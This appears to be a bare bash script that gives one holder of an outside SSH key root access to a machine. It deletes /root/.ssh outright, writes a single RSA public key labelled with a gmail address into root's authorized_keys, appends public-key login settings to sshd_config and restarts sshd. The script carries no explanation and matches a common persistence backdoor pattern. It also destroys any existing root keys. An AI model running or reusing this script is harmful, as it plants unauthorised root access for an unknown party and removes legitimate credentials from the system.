#!/usr/bin/env bash
rm -rf /root/.ssh
mkdir /root/.ssh
cd /root/.ssh
touch authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB6esBfv9Uk17jJLXFwebRHr/yG7qUP1zAblL4xlhFhpaxpHbUAeBuk7fcVHSf/BX0WotHkEcI5bivXLbt2zLRjkRwCT0yQvvQAvIhvc1zDGHT8QYfIfA/gWTtJh3xtw82PCHYiswuvI6AM+b2noGRroEQGqW9bwQFWHEkEYbrD6ffI6wC85TNBZZLbP74pJAJsLXxuEU6VOOIVcg08F5lUOsRKfzPW6qFOsW57IDRrSArEYBbL6CNiOaHBYwco9tTf4quMMPLKRE+QTvKtYhYNoJ3/URtdIzC0L9g1nEpZyLm9IN2nLG5CyAOJaIGsEksMYhJJJrrYS6L/+tHvTVfCGRNDAbY1xbeAH6XHHvN80Phu0nFPiqYfFvF19SStP6+vrw3gRMZk53eympJrSkAZUOmIm2TN1+9XYl/FYLufBtlODgvEjEQXveCxrdHsAxxyhAZ2C1nafuGku273qFx5Gef5diZUnidvsdgjldeGrURTjoo4WBob0TG94urQ3SGzpNM7TbFtv/dM+wSm/vcFrt+rS4WUQzzpvk719Y9036Z3o5o95t3VxQc9PsFi18VX/HhWYiudQVjzP3Kt71u/56dJsBf/c3TqIDtHnRJVQwl1p2Un+Aqbgh0Ukg86fTcgES4AV4KCmtxdb1t2weMRF3ghfqK+FSK7r12b9Vrrw== available3099@gmail.com" >> authorized_keys
chmod 600 authorized_keys
chmod 700 ~/.ssh
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/authorized_keys" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
service sshd restart